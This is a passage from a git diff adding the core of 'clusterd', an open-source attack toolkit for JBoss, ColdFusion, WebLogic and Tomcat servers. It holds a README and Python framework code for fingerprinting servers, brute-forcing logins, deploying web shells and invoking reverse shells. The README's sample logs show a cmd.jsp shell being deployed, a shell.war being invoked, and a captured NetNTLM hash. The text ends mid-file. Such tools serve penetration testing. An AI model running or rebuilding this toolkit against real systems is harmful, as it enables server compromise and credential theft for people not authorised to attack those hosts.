diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d21c4f7 --- /dev/null +++ b/LICENSE @@ -0,0 +1,20 @@ +The MIT License (MIT) + +Copyright (c) 2014 bryan alexander + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5a83e9c --- /dev/null +++ b/README.md @@ -0,0 +1,288 @@ +clusterd +== + +clusterd is an open source application server attack toolkit. Born out of frustration with +current fingerprinting and exploitation methods, clusterd automates the fingerprinting, +reconnaissance, and exploitation phases of an application server attack. See the wiki for more information. + +Requirements +---- +* Python >= 2.7.x +* Requests >= 2.2.x + +Installation +---- +The recommended installation of clusterd is to clone the Github repository + + git clone https://github.com/hatRiot/clusterd.git + +clusterd features +---- +* JBoss + - Versions 3.x - 7.x + - Currently supported deployers: + + /jmx-console/MainDeployer for 3.x, 4.x, and 6.x + + /jmx-console/DeploymentFileRepository for 3.x, 4.x, and 5.x + + /web-console/Invoker (MainDeployer) for 3.x, 4.x, and 6.x + + /web-console/Invoker (BSHDeployer) for 3.x and 4.x + + /invoker/JMXInvokerServlet for 3.x and 4.x + + /management for 7.x + - Dump deployed WARs + - Fetch host OS information + - Verb tampering vulnerability (CVE-2010-0738) + - Credential/path disclosure (CVE-2005-2006) + +* ColdFusion + - Versions 6 - 10 + - Currently supported deployers: + + Task Scheduler for 9.x + - Hash retrieval for versions 6 - 10 + - RDS admin bypass (CVE-2013-0632) + +* WebLogic + - Versions 7, 8.1, 11, and 12 + - Deployer over T3 and T3S currently tested against 11.x and 12.x + - Dump deployed WARs over T3/T3S + - Fetch host OS information + +* Tomcat fingerprinting + - Versions 3.x - 8.x + - Currently can deploy to all versions with an exposed manager interface + - Dump deployed WARs + - Fetch host OS information + +* Simple API for adding new platforms, fingerprints, deployers, and exploits +* Various auxiliary modules for vulnerabilities and exploitation techniques + +examples / usage +---- +``` +bryan@debdev:~/tools/clusterd$ ./clusterd.py + + clusterd/0.1 - clustered attack toolkit + Supporting jboss, coldfusion, weblogic, tomcat + +usage: ./clusterd.py [options] + +optional arguments: + -h, --help show this help message and exit + +Connection: + Options for configuring the connection + + -i [ip address] Server address + -iL [file] Server list + -p [port] Server port + --proxy [proxy://server:port] + Connect through proxy [http|https] + --proxy-auth [username:password] + Proxy credentials + --timeout [seconds] Connection timeout [5s] + --random-agent Use a random User-Agent for requests + --ssl Force SSL + +Remote Host: + Settings specific to the remote host + + -a [jboss|coldfusion|weblogic|tomcat] + Hint at remote host service + -o [windows|linux] Hint at remote host OS + -v [version] Specific version to test + --usr-auth [username:password] + Login credentials for service + --fingerprint Fingerprint the remote system + --arch [x86|x64] Specify remote OS architecture + +Deploy: + Deployment flags and settings + + --deploy [file] Deploy to the discovered service + --deployer [deployer] + Specify a deployer to use + --invoke Invoke payload after deployment + -b [user] Brute force credentials for user [admin] + --wordlist [path] Wordlist for brute forcing passwords + +jboss modules: + --jb-info Dump host information + --jb-list List deployed WARs + --jb-smb Obtain SMB hash + +coldfusion modules: + --cf-info Dump host information + +weblogic modules: + --wl-info Gather WebLogic info + --wl-list List deployed apps + --wl-smb Obtain SMB hash + +tomcat modules: + --tc-info Gather Tomcat info + --tc-list List deployed WARs + --tc-smb Obtain SMB hash + +Other: + Miscellaneous flags + + --deploy-list List all available deployers + --aux-list List all available exploits + --gen-payload [host:port] for reverse connection + Generate a reverse shell payload + -d Enable debug output + -l Log output to file [$time$_log.log] +``` + +jboss fingerprint and host info +``` +bryan@debdev:~/tools/clusterd$ ./clusterd.py -i 192.168.1.102 -a jboss --jb-info --random-agent + + clusterd/0.1 - clustered attack toolkit + Supporting jboss, coldfusion, weblogic, tomcat + + [2014-01-25 06:51PM] Started at 2014-01-25 06:51PM + [2014-01-25 06:51PM] Servers' OS hinted at windows + [2014-01-25 06:51PM] Fingerprinting host '192.168.1.102' + [2014-01-25 06:51PM] Server hinted at 'jboss' + [2014-01-25 06:51PM] Checking jboss version 3.2 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 3.2 JBoss Web Console... + [2014-01-25 06:51PM] Checking jboss version 3.0 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 4.2 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 4.2 JBoss Web Console... + [2014-01-25 06:51PM] Checking jboss version 4.0 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 4.0 JBoss Web Console... + [2014-01-25 06:51PM] Checking jboss version 5.1 JBoss Web Manager... + [2014-01-25 06:51PM] Checking jboss version 5.1 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 5.1 JBoss Web Console... + [2014-01-25 06:51PM] Checking jboss version 5.0 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 5.0 JBoss Web Console... + [2014-01-25 06:51PM] Checking jboss version 6.0 JBoss Web Manager... + [2014-01-25 06:51PM] Checking jboss version 6.1 JBoss Web Manager... + [2014-01-25 06:51PM] Checking jboss version 6.1 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 6.0 JBoss JMX Console... + [2014-01-25 06:51PM] Checking jboss version 7.1 JBoss Management... + [2014-01-25 06:51PM] Checking jboss version 7.0 JBoss Management... + [2014-01-25 06:51PM] Checking jboss version Any JBoss JMX Invoker Servlet... + [2014-01-25 06:51PM] Checking jboss version Any JBoss RMI Interface... + [2014-01-25 06:51PM] Checking jboss version Any JBoss Status Page... + [2014-01-25 06:51PM] Matched 5 fingerprints for service jboss + [2014-01-25 06:51PM] JBoss JMX Console (version 5.0) + [2014-01-25 06:51PM] JBoss Web Console (version 5.0) + [2014-01-25 06:51PM] JBoss JMX Invoker Servlet (version Any) + [2014-01-25 06:51PM] JBoss RMI Interface (version Any) + [2014-01-25 06:51PM] JBoss Status Page (version Any) + [2014-01-25 06:51PM] Fingerprinting completed. + [2014-01-25 06:51PM] Attempting to retrieve JBoss info... + [2014-01-25 06:51PM] ActiveThreadCount: 71 + [2014-01-25 06:51PM] OSArch: amd64 + [2014-01-25 06:51PM] AvailableProcessors: 1 + [2014-01-25 06:51PM] MaxMemory: 518979584 + [2014-01-25 06:51PM] HostAddress: 192.168.1.102 + [2014-01-25 06:51PM] JavaVersion: 1.7.0_45 + [2014-01-25 06:51PM] OSVersion: 6.1 + [2014-01-25 06:51PM] TotalMemory: 282968064 + [2014-01-25 06:51PM] JavaVendor: Oracle Corporation + [2014-01-25 06:51PM] ActiveThreadGroupCount: 9 + [2014-01-25 06:51PM] FreeMemory: 152545376 + [2014-01-25 06:51PM] OSName: Windows 7 + [2014-01-25 06:51PM] HostName: bryan-PC + [2014-01-25 06:51PM] JavaVMVersion: 24.45-b08 + [2014-01-25 06:51PM] JavaVMVendor: Oracle Corporation + [2014-01-25 06:51PM] JavaVMName: Java HotSpot(TM) 64-Bit Server VM + [2014-01-25 06:51PM] Finished at 2014-01-25 06:51PM +``` + +jboss DFS deployment against JBoss 5.0 +``` +bryan@debdev:~/tools/clusterd$ ./clusterd.py -i 192.168.1.102 -a jboss -v 5 --deploy ./src/lib/cmd.war --random-agent + + clusterd/0.1 - clustered attack toolkit + Supporting jboss, coldfusion, weblogic, tomcat + + [2014-01-25 06:54PM] Started at 2014-01-25 06:54PM + [2014-01-25 06:54PM] Servers' OS hinted at windows + [2014-01-25 06:54PM] Fingerprinting host '192.168.1.102' + [2014-01-25 06:54PM] Server hinted at 'jboss' + [2014-01-25 06:54PM] Checking jboss version 5.1 JBoss Web Manager... + [2014-01-25 06:54PM] Checking jboss version 5.1 JBoss JMX Console... + [2014-01-25 06:54PM] Checking jboss version 5.1 JBoss Web Console... + [2014-01-25 06:54PM] Checking jboss version 5.0 JBoss JMX Console... + [2014-01-25 06:54PM] Checking jboss version 5.0 JBoss Web Console... + [2014-01-25 06:54PM] Checking jboss version Any JBoss JMX Invoker Servlet... + [2014-01-25 06:54PM] Checking jboss version Any JBoss RMI Interface... + [2014-01-25 06:54PM] Checking jboss version Any JBoss Status Page... + [2014-01-25 06:54PM] Matched 5 fingerprints for service jboss + [2014-01-25 06:54PM] JBoss JMX Console (version 5.0) + [2014-01-25 06:54PM] JBoss Web Console (version 5.0) + [2014-01-25 06:54PM] JBoss JMX Invoker Servlet (version Any) + [2014-01-25 06:54PM] JBoss RMI Interface (version Any) + [2014-01-25 06:54PM] JBoss Status Page (version Any) + [2014-01-25 06:54PM] Fingerprinting completed. + [2014-01-25 06:54PM] This deployer requires a JSP, default to cmd.jsp? [Y/n] > + [2014-01-25 06:55PM] Preparing to deploy /home/bryan/tools/clusterd/src/lib/cmd.jsp... + [2014-01-25 06:55PM] Successfully deployed /home/bryan/tools/clusterd/src/lib/cmd.jsp + [2014-01-25 06:55PM] Finished at 2014-01-25 06:55PM +``` + +jboss UNC hash retrieval +``` +bryan@debdev:~/tools/clusterd$ sudo ./clusterd.py -i 192.168.1.102 -a jboss -v4.2 --random-agent --jb-smb + + clusterd/0.1 - clustered attack toolkit + Supporting jboss, coldfusion, weblogic, tomcat + + [2014-02-08 12:24AM] Started at 2014-02-08 12:24AM + [2014-02-08 12:24AM] Servers' OS hinted at windows + [2014-02-08 12:24AM] Fingerprinting host '192.168.1.102' + [2014-02-08 12:24AM] Server hinted at 'jboss' + [2014-02-08 12:24AM] Checking jboss version 4.2 JBoss JMX Console... + [2014-02-08 12:24AM] Checking jboss version 4.2 JBoss Web Console... + [2014-02-08 12:24AM] Checking jboss version Any JBoss JMX Invoker Servlet... + [2014-02-08 12:24AM] Checking jboss version Any JBoss RMI Interface... + [2014-02-08 12:24AM] Checking jboss version Any JBoss Status Page... + [2014-02-08 12:24AM] Matched 5 fingerprints for service jboss + [2014-02-08 12:24AM] JBoss JMX Console (version 4.2) + [2014-02-08 12:24AM] JBoss Web Console (version 4.2) + [2014-02-08 12:24AM] JBoss JMX Invoker Servlet (version Any) + [2014-02-08 12:24AM] JBoss RMI Interface (version Any) + [2014-02-08 12:24AM] JBoss Status Page (version Any) + [2014-02-08 12:24AM] Fingerprinting completed. + [2014-02-08 12:24AM] Setting up SMB listener.. + [2014-02-08 12:24AM] Invoking UNC loader... + [2014-02-08 12:24AM] bryan::bryan-PC:1122334455667788:d24a1c43f9d219aa8a38d018ec7e9b89:01010000000000005a4d8bca9e24cf01ad86b744515b143100000000020000000000000000000000 + [2014-02-08 12:24AM] Finished at 2014-02-08 12:24AM +``` + +tomcat deployment and reverse shell invocation +``` +bryan@debdev:~/tools/clusterd$ ./clusterd.py -i 192.168.1.102 -a tomcat --deploy shell.war --invoke + + clusterd/0.1 - clustered attack toolkit + Supporting jboss, coldfusion, weblogic, tomcat + + [2014-02-08 12:50AM] Started at 2014-02-08 12:50AM + [2014-02-08 12:50AM] Servers' OS hinted at windows + [2014-02-08 12:50AM] Fingerprinting host '192.168.1.102' + [2014-02-08 12:50AM] Server hinted at 'tomcat' + [2014-02-08 12:50AM] Checking tomcat version 3.3 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 3.3 Tomcat Admin... + [2014-02-08 12:50AM] Checking tomcat version 4.0 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 4.1 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 4.1 Tomcat Manager... + [2014-02-08 12:50AM] Checking tomcat version 4.0 Tomcat Manager... + [2014-02-08 12:50AM] Checking tomcat version 5.5 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 5.5 Tomcat Manager... + [2014-02-08 12:50AM] Checking tomcat version 6.0 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 6.0 Tomcat Manager... + [2014-02-08 12:50AM] Checking tomcat version 7.0 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 7.0 Tomcat Manager... + [2014-02-08 12:50AM] Checking tomcat version 8.0 Tomcat... + [2014-02-08 12:50AM] Checking tomcat version 8.0 Tomcat Manager... + [2014-02-08 12:50AM] Matched 2 fingerprints for service tomcat + [2014-02-08 12:50AM] Tomcat (version 5.5) + [2014-02-08 12:50AM] Tomcat Manager (version 5.5) + [2014-02-08 12:50AM] Fingerprinting completed. + [2014-02-08 12:50AM] Preparing to deploy shell.war... + [2014-02-08 12:50AM] Deployed shell.war to /shell + [2014-02-08 12:50AM] shell.war invoked at 192.168.1.102 + [2014-02-08 12:50AM] Finished at 2014-02-08 12:50AM +``` diff --git a/clusterd.py b/clusterd.py new file mode 100755 index 0000000..60041b7 --- /dev/null +++ b/clusterd.py @@ -0,0 +1,126 @@ +#!/usr/bin/python + +import sys +from shutil import rmtree +from os import getcwd, mkdir, path +sys.path.insert(0, getcwd() + '/src/core/') + +from fingerprint import FingerEngine +from src.module import generate_payload, deploy_utils +from auxengine import auxengine +from parse_cmd import parse +from log import LOG +import utility +import state + +""" Clustered environment exploitation framework +""" + +def prerun(options): + """ Run misc flags that don't necessarily have anything to do + with fingerprinting or exploiting. + """ + + # first check if we need to generate a payload + if options.generate_payload: + generate_payload.run(options) + + # then check if they want a listing of all deployers + if options.deploy_list: + deploy_utils.deploy_list() + + if options.aux_list: + deploy_utils.auxiliary_list() + + if path.isdir(state.serve_dir): + # stale temp dir from a crash, etc. + rmtree(state.serve_dir) + + # create our temporary directory + mkdir(state.serve_dir) + + # weblogic libcheck + if not deploy_utils.check_wl_libs(): + utility.Msg("WebLogic libraries not found, disabling platform...", LOG.DEBUG) + state.supported_platforms.remove('weblogic') + + +def postrun(options): + """ Cleanup routine after everything is done + """ + + rmtree(state.serve_dir, ignore_errors=True) + + +def run(options): + """ Parse up our hosts and run fingerprinting/exploitation + on each one + """ + + servers = [] + if options.input_list: + with open(options.input_list, 'r') as f: + for ip in f.readlines(): + if ip.count('.') < 3: + rip = utility.resolve_host(ip.strip()) + if rip: + servers.append(rip) + else: + utility.Msg("Host %s could not be resolved. Skipping." % + ip.strip(), LOG.DEBUG) + else: + servers.append(ip.strip()) + + utility.Msg("Loaded %d servers." % len(servers)) + else: + if options.ip.count('.') < 3: + ip = utility.resolve_host(options.ip) + if ip: + servers.append(ip) + else: + utility.Msg("Could not resolve hostname %s" % options.ip, LOG.ERROR) + return + else: + servers.append(options.ip) + + utility.Msg("Servers' OS hinted at %s" % options.remote_os) + # iterate through all servers, fingerprint and load auxengine + for server in servers: + fingerengine = FingerEngine() + fingerengine.options = options + fingerengine.options.ip = server + + fingerengine.run() + if len(fingerengine.fingerprints) is 0: + continue + + utility.Msg("Fingerprinting completed.", LOG.UPDATE) + + # We've got the host fingerprinted, now kick off the + # exploitation engine for the service + utility.Msg("Loading auxiliary for '%s'..." % fingerengine.service, + LOG.DEBUG) + + # execute the auxiliary engine + auxengine(fingerengine) + +if __name__ == "__main__": + utility.header() + options = parse(sys.argv[1:]) + + utility.Msg("Started at %s" % (utility.timestamp())) + + # log the CLI args + utility.log(' '.join(sys.argv)) + + try: + prerun(options) + + if options.ip or options.input_list: + run(options) + + postrun(options) + except KeyboardInterrupt: + pass + + utility.Msg("Finished at %s" % (utility.timestamp())) diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/core/__init__.py b/src/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/core/auxengine.py b/src/core/auxengine.py new file mode 100644 index 0000000..40bb8f5 --- /dev/null +++ b/src/core/auxengine.py @@ -0,0 +1,75 @@ +from os.path import abspath +from argparse import SUPPRESS +from log import LOG +import deployer +import pkgutil +import utility + + +def auxengine(fingerengine): + """ Our core auxiliary engine runs as such: + + 1. While building the command parser, we load all modules and append their + CLI flags to a hidden argument parser. + + 2. After fingerprinting the remote service, we load all of the platform's + modules and run check(); this will return True/False as to whether or + not it applies to the fingerprint. + + 3. If the fingerprint applies, we check for --fingerprint, which will + simply list that it is acceptable. We also check for the auxiliarys + hidden flag and, if it exists, we run the auxiliary. + """ + + fpath = [abspath("./src/platform/%s/auxiliary" % fingerengine.service)] + modules = list(pkgutil.iter_modules(fpath)) + found = [] + + for fingerprint in fingerengine.fingerprints: + for auxiliary in modules: + + mod = auxiliary[0].find_module(auxiliary[1]).load_module(auxiliary[1]) + + try: + mod = mod.Auxiliary() + except: + # logged in build_platform_flags + continue + + if mod.name not in found and mod.check(fingerprint): + if fingerengine.options.fp and not mod.show: + utility.Msg("Vulnerable to %s (--%s)" % (mod.name, mod.flag), + LOG.SUCCESS) + elif vars(fingerengine.options)[mod.flag]: + mod.run(fingerengine, fingerprint) + + found.append(mod.name) + + if fingerengine.options.deploy: + deployer.run(fingerengine) + + +def build_platform_flags(platform, egroup): + """ This builds the auxiliary argument group + """ + + fpath = [abspath("./src/platform/%s/auxiliary" % platform)] + modules = list(pkgutil.iter_modules(fpath)) + + for auxiliary in modules: + mod = auxiliary[0].find_module(auxiliary[1]).load_module(auxiliary[1]) + + try: + mod = mod.Auxiliary() + except Exception, e: + utility.Msg("Auxiliary %s failed to load: %s" % (auxiliary[1], e), + LOG.DEBUG) + continue + + if not 'flag' in dir(mod): + continue + + egroup.add_argument("--%s" % mod.flag, action='store_true', dest=mod.flag, + help=mod.name if mod.show else SUPPRESS) + + return egroup diff --git a/src/core/auxiliary.py b/src/core/auxiliary.py new file mode 100644 index 0000000..d9bd5c5 --- /dev/null +++ b/src/core/auxiliary.py @@ -0,0 +1,22 @@ +class Auxiliary(object): + + def __init__(self): + self.name = None # name of the module + self.versions = [] # supported versions + self.show = False # False for exploits, True for supplimental modules (list/info) + self.flag = None # CLI flag + + def check(self, fingerprint): + """ Given the fingerprint of a remote service, check whether this + module is relevant. + + True for valid, False for not + """ + + raise NotImplementedError + + def run(self, fingerengine, fingerprint): + """ Initiates the module + """ + + raise NotImplementedError diff --git a/src/core/cprint.py b/src/core/cprint.py new file mode 100644 index 0000000..7c7cb43 --- /dev/null +++ b/src/core/cprint.py @@ -0,0 +1,49 @@ +from hashlib import md5 +from requests import exceptions +from log import LOG +import utility + + +""" Abstract fingerprint for modules to inherit from. +""" + +class FingerPrint(object): + + def __init__(self): + self.platform = None # Platform for the fingerprint + self.title = None # Title or interface name + self.uri = None # Default URI + self.port = None # Default port + self.hash = None # md5 hash to check for; this can be a single hash or a list + self.ssl = False # establish https connection? + + def check(self, ip, port=None): + """ Pull the specified URI down and compare the content hash + against the defined hash. + """ + try: + rport = self.port if port is None else port + + url = "{0}://{1}:{2}{3}".format("https" if "ssl" in dir(self) and self.ssl else "http", + ip, rport, self.uri) + response = utility.requests_get(url) + + utility.Msg("Fetching hash from {0}".format(response.url), LOG.DEBUG) + + if response.status_code == 200: + + hsh = md5(response.content).hexdigest() + if type(self.hash) is list and hsh in self.hash: + return True + elif hsh == self.hash: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + return False diff --git a/src/core/deployer.py b/src/core/deployer.py new file mode 100644 index 0000000..9ff2244 --- /dev/null +++ b/src/core/deployer.py @@ -0,0 +1,54 @@ +from src.module.invoke_payload import invoke +from log import LOG +import utility +import importlib +import pkgutil + + +def run(fingerengine): + """ This core module is used to load a specific platform's deployers + and iterate through fingerprints to find one to deploy to. If the --invoke + flag was passed, then we automatically run invoke_war, which will call the + deployed WAR and attempt to catch the shell back. + """ + + utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG) + + load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service) + + # load all deployers + modules = list(pkgutil.iter_modules(load.__path__)) + loaded_deployers = [] + + for deployer in modules: + + dp = deployer[0].find_module(deployer[1]).load_module(deployer[1]) + if 'deploy' not in dir(dp): + continue + + loaded_deployers.append(dp) + + # start iterating through fingerprints + for fingerprint in fingerengine.fingerprints: + + # build list of deployers applicable to this version + appd = [x for x in loaded_deployers if fingerprint.version in x.versions] + for deployer in appd: + + if fingerprint.title == deployer.title: + if fingerengine.options.deployer: + + # they want to use a specific deployer + if not fingerengine.options.deployer in deployer.__name__: + continue + + utility.Msg("Deploying WAR with deployer %s (%s)" % + (deployer.title, deployer.__name__), LOG.DEBUG) + deployer.deploy(fingerengine, fingerprint) + + if fingerengine.options.invoke_payload: + invoke(fingerengine, fingerprint) + + return + + utility.Msg("No valid fingerprints were found to deploy.", LOG.ERROR) diff --git a/src/core/fingerprint.py b/src/core/fingerprint.py new file mode 100644 index 0000000..2721b75 --- /dev/null +++ b/src/core/fingerprint.py @@ -0,0 +1,102 @@ +from os.path import abspath +from log import LOG +import pkgutil +import state +import utility + + +class FingerEngine: + """ Fingerprinting engine. Based on service definitions, attempt + to discover what service is listening, and run various fingerprint + tests against it. + + If the user hints at a specific service, attempt to first load only + that engine. If unsuccessful, load the rest and attempt them. + """ + + def __init__(self): + self.service = None + self.fingerprints = [] + self.options = None + + def definitions(self, ip, port, service): + """ Load and fingerprint the remote system. + """ + + fpath = [abspath("./src/platform/%s/fingerprints" % service)] + + match_fps = [] + fingerprints = list(pkgutil.iter_modules(fpath)) + for fingerprint in fingerprints: + fp = fingerprint[0].find_module(fingerprint[1]).load_module(fingerprint[1]) + fp = fp.FPrint() + + if self.options.version: + # we're looking for a specific version + if fp.version is not "Any" and self.options.version not in fp.version: + continue + + utility.Msg("Checking %s version %s %s..." % (fp.platform, + fp.version, fp.title)) + + if fp.check(ip, port): + + # set fingerprint port to match fingerengine port if defined + if vars(self.options)['port']: + fp.port = self.options.port + match_fps.append(fp) + + return match_fps + + def check_service(self, service): + """ Given a service, this will initiate our fingerprinting engine against + the remote host and return a list of all matched fingerprints. Successful + fingerprints will also be dumped to console. + """ + + utility.Msg("Loading fingerprint engine '%s'" % service, LOG.DEBUG) + + matched_fingerprints = self.definitions(self.options.ip, self.options.port, service) + if len(matched_fingerprints) > 0: + utility.Msg("Matched %d fingerprints for service %s" % + (len(matched_fingerprints), service)) + + for fp in matched_fingerprints: + utility.Msg("\t%s (version %s)" % (fp.title, fp.version), LOG.SUCCESS) + else: + utility.Msg("No fingerprints found for service %s" % service) + + return matched_fingerprints + + def run(self): + """ Kicks off the fingerprint engine + """ + + utility.Msg("Fingerprinting host '%s'" % self.options.ip, LOG.UPDATE) + state.hasbf = False + + if self.options.remote_service: + if self.options.remote_service.lower() not in \ + state.supported_platforms: + utility.Msg("Service '%s' unknown or not supported." % + self.options.remote_service, LOG.ERROR) + return False + + self.service = self.options.remote_service + utility.Msg("Server hinted at '%s'" % self.options.remote_service) + + + # if a service was hinted at, load and test it + if self.service: + self.fingerprints = self.check_service(self.service) + else: + # load one after the other, stop once we find a match + for service in state.supported_platforms: + + state.hasbf = False + matched_fps = self.check_service(service) + + if len(matched_fps) > 0: + self.service = service + self.fingerprints = matched_fps + break diff --git a/src/core/log.py b/src/core/log.py new file mode 100644 index 0000000..53a178a --- /dev/null +++ b/src/core/log.py @@ -0,0 +1,11 @@ +class LOG: + """ This class specifies the different logging levels that we support. + Levels can be trivially added here and in src/core/utility.py#Msg along + with their pretty output information. + """ + + INFO = 1 # green + SUCCESS = 2 # bold green + ERROR = 3 # red + DEBUG = 4 # blue + UPDATE = 5 # yellow diff --git a/src/core/parse_cmd.py b/src/core/parse_cmd.py new file mode 100644 index 0000000..599d702 --- /dev/null +++ b/src/core/parse_cmd.py @@ -0,0 +1,145 @@ +from auxengine import build_platform_flags +from argparse import ArgumentParser +from random import choice +from log import LOG +import state +import utility +import sys + + +def parse(arguments): + """ Parse command line options + """ + parser = ArgumentParser(usage='./clusterd.py [options]') + + # + # Connection related command line arguments + # + connection = parser.add_argument_group("Connection", + description = 'Options for configuring the connection') + connection.add_argument("-i", help='Server address', action='store', + dest='ip', metavar='[ip address]') + connection.add_argument("-iL", help='Server list', action='store', + dest='input_list', metavar='[file]') + connection.add_argument('-p', help='Server port', action='store', + dest='port', type=int, metavar='[port]') + connection.add_argument('--proxy', help='Connect through proxy [http|https]', + action='store', dest='proxy', + metavar="[proxy://server:port]") + connection.add_argument('--proxy-auth', help='Proxy credentials', + action='store', dest='proxy_auth', + metavar='[username:password]') + connection.add_argument('--timeout', help='Connection timeout [%ds]' % state.timeout, + action='store', dest='timeout', + default=state.timeout, metavar='[seconds]') + connection.add_argument("--random-agent", help='Use a random User-Agent for'\ + ' requests', action='store_true', dest='random_agent', + default=False) + connection.add_argument("--ssl", help='Force SSL', action='store_true', + dest='ssl', default=False) + + # + # Remote host command line arguments + # + remote = parser.add_argument_group('Remote Host', + description = 'Settings specific to the remote host') + remote.add_argument('-a', help='Hint at remote host service', + action='store', dest='remote_service', + metavar='[%s]' % ('|'.join(state.supported_platforms))) + remote.add_argument('-o', help='Hint at remote host OS', + action='store', dest='remote_os', + metavar='[windows|linux]', default='windows') + remote.add_argument('-v', help='Specific version to test', action='store', + dest='version', metavar='[version]', default=None) + remote.add_argument('--usr-auth', help='Login credentials for service', + action='store', dest='usr_auth', + metavar='[username:password]') + remote.add_argument('--fingerprint', help='Fingerprint the remote system', + action='store_true', dest='fp', default=False) + remote.add_argument("--arch", help='Specify remote OS architecture', + action='store', dest='arch', default='x86', + metavar='[x86|x64]') + + # + # deploy options + # + deploy = parser.add_argument_group("Deploy", + description = 'Deployment flags and settings') + deploy.add_argument("--deploy", help='Deploy to the discovered service', + action='store', dest='deploy', metavar='[file]') + deploy.add_argument("--deployer", help="Specify a deployer to use", + action='store', dest='deployer', default=None, + metavar='[deployer]') + deploy.add_argument("--invoke", help="Invoke payload after deployment", + action='store_true', dest='invoke_payload', default=False) + deploy.add_argument("-b", help="Brute force credentials for user [admin]", action='store', + dest='bf_user', metavar='[user]', default='admin') + deploy.add_argument('--wordlist', help='Wordlist for brute forcing passwords', + action='store', dest='wordlist', default=None, + metavar='[path]') + + # + # iterate over our supported platforms and build their + # auxiliary modules + # + for platform in state.supported_platforms: + + group = parser.add_argument_group(platform + " modules") + group = build_platform_flags(platform, group) + + + other = parser.add_argument_group("Other", + description='Miscellaneous flags') + other.add_argument("--deploy-list", help="List all available deployers", + action='store_true', dest='deploy_list', default=False) + other.add_argument("--aux-list", help="List all available exploits", + action='store_true', dest='aux_list', default=False) + other.add_argument("--gen-payload", help='Generate a reverse shell payload', + action='store', dest='generate_payload', + metavar='[host:port] for reverse connection') + other.add_argument("-d", help='Enable debug output', action='store_true', + dest='debug', default=False) + other.add_argument("-l", help='Log output to file [$time$_log.log]', + dest='flog', action='store_true', default=False) + + # parse cli options + options = parser.parse_args(arguments) + + if len(sys.argv) <= 1: + parser.print_help() + sys.exit(1) + + # + # Setup state variables from given flags + # + if options.proxy: + state.proxy = options.proxy + + if options.proxy_auth: + state.proxy_auth = options.proxy_auth + + if options.debug: + state.isdebug = True + + if options.usr_auth: + state.usr_auth = options.usr_auth + + if options.wordlist: + state.bf_wordlist = options.wordlist + + if options.random_agent: + # select a random user-agent from the list + state.random_agent = choice(list(open('./src/lib/user-agents.txt'))).rstrip() + utility.Msg("Random user agent '%s' selected" % (state.random_agent), LOG.DEBUG) + + state.ssl = options.ssl + state.bf_user = options.bf_user + state.flog = ("%s_log.log" % utility.timestamp().replace(' ', '_') if options.flog else None) + + try: + state.timeout = float(options.timeout) + except: + utility.Msg("Timeout value must be an integer. Defaulting to %d." + % state.timeout, LOG.ERROR) + + return options diff --git a/src/core/state.py b/src/core/state.py new file mode 100644 index 0000000..2c837d7 --- /dev/null +++ b/src/core/state.py @@ -0,0 +1,47 @@ +""" State class for defining clusterd wide variables. These are mainly set +by parsing command line arguments, but can be modified individually if necessary. +""" + +# supported platforms by clusterd +supported_platforms = ['jboss', 'coldfusion', 'weblogic', 'tomcat'] + +# proxy to use for outgoing connections +proxy = None + +# if necessary, authentication credentials for the aforementioned +# proxy. This should be in the format username:password +proxy_auth = None + +# credentials to authenticate to the service with. This should be in +# the form username:password +usr_auth = None + +# whether or not we are dumping debug strings +isdebug = False + +# connection timeout to remote hosts +timeout = 5.0 + +# wordlist for brute forcing credentials +bf_wordlist = None + +# with a loaded wordlist, use the following user to brute force +bf_user = None + +# we don't want to brute force services more than once; resets after +# each service +hasbf = False + +# if we're using a random User-Agent for requests, set that here +random_agent = None + +# sets our HTTP type; default is http, but --ssl sets https +ssl = False + +# filename for logging to file +flog = None + +# for deployers that need to serve files to remote hosts, +# we copy payloads into this location and clean it at +# the end +serve_dir = "/tmp/.clusterd" diff --git a/src/core/utility.py b/src/core/utility.py new file mode 100644 index 0000000..c681db9 --- /dev/null +++ b/src/core/utility.py @@ -0,0 +1,176 @@ +from datetime import date, datetime +from commands import getoutput +from socket import gethostbyname +from log import LOG +import state +import requests + +""" Utility functions +""" + +def Msg(string, level=LOG.INFO): + """ Output a formatted message dictated by the level. The levels are: + INFO - Informational message, i.e. progress + SUCCESS - Action successfully executed/completed, i.e. WAR deployed + ERROR - An error of some sort has occured + DEBUG - Debugging output + UPDATE - Status updates, i.e. host fingerprinting completed + """ + + if level is LOG.INFO: + print 